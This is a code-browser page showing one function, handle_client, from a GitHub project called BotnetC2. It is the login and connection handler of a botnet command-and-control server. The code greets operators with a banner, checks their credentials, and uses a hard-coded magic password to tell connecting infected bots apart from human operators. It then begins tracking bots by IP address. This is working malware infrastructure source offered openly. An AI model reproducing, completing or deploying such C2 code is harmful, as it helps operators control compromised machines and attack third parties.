MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / handle_client

Function handle_client

BOTNETc2/cnc.py:149–208  ·  view source on GitHub ↗
(client, address)

Source from the content-addressed store, hash-verified

147
148# Client handler
149def handle_client(client, address):
150 global num
151 send(client, f'\x1b[3;31;40mBotC2 | Login: Awaiting Response...\a', False)
152 send(client, ansi_clear, False)
153 color_random = f'\x1b[38;5;{randint(0,255)}m'
154 send(client, f'{Fore.LIGHTBLUE_EX}Connection {Fore.LIGHTGREEN_EX}PUTTY {Fore.LIGHTBLUE_EX} To {Fore.LIGHTYELLOW_EX}BotC2 Servers {Fore.LIGHTMAGENTA_EX}(OK!)')
155 for x in l_banner.split('\n'):
156 send(client,f'{color_random}'+x)
157 while 1:
158 send(client, f'{Fore.GREEN} MODE (BotC2,NixC2,MY_SQL) :\x1b[0m ', False, False) # send(client,f'{Fore.YELLOW}[MODE_TYPE] --> BotC2,NixC2,MY_SQL')
159 username_sql = client.recv(99999999).decode().strip()
160 if not username_sql:
161 continue
162 break
163 while 1:
164 if num == 0:
165 num += 1
166 send(client, f'{Fore.CYAN} Username :\x1b[0;38;2;0;0;0m ', False, False)
167 else:
168 pass
169 username = client.recv(99999999).decode().strip()
170 if not username:
171 print(username)
172 continue
173 break
174
175 num = 0
176
177 # Password Login
178 password = ''
179 while 1:
180 send(client, f'{Fore.LIGHTBLUE_EX} Password :\x1b[0;38;2;0;0;0m ', False, False)
181 while not password.strip():
182 password = client.recv(99999999).decode('cp1252').strip()
183 break
184
185 # Handle client
186 if password != '\xff\xff\xff\xff\75':
187 send(client, ansi_clear, False)
188
189 if not find_login(client,username, password,username_sql):
190 send(client, Fore.RED + f'Invalid user or password')
191 time.sleep(1)
192 client.close()
193 return
194
195 global user_name
196 user_name = username
197
198 threading.Thread(target=update_title, args=(client,username)).start()
199 threading.Thread(target=command_line, args=[client]).start()
200
201 # Handle bot
202 else:
203 # Check if bot is already connected
204 for x in bots.values():
205 if x[0] == address[0]:
206 client.close()

Callers

nothing calls this directly

Calls 2

sendFunction · 0.70
find_loginFunction · 0.70

Tested by

no test coverage detected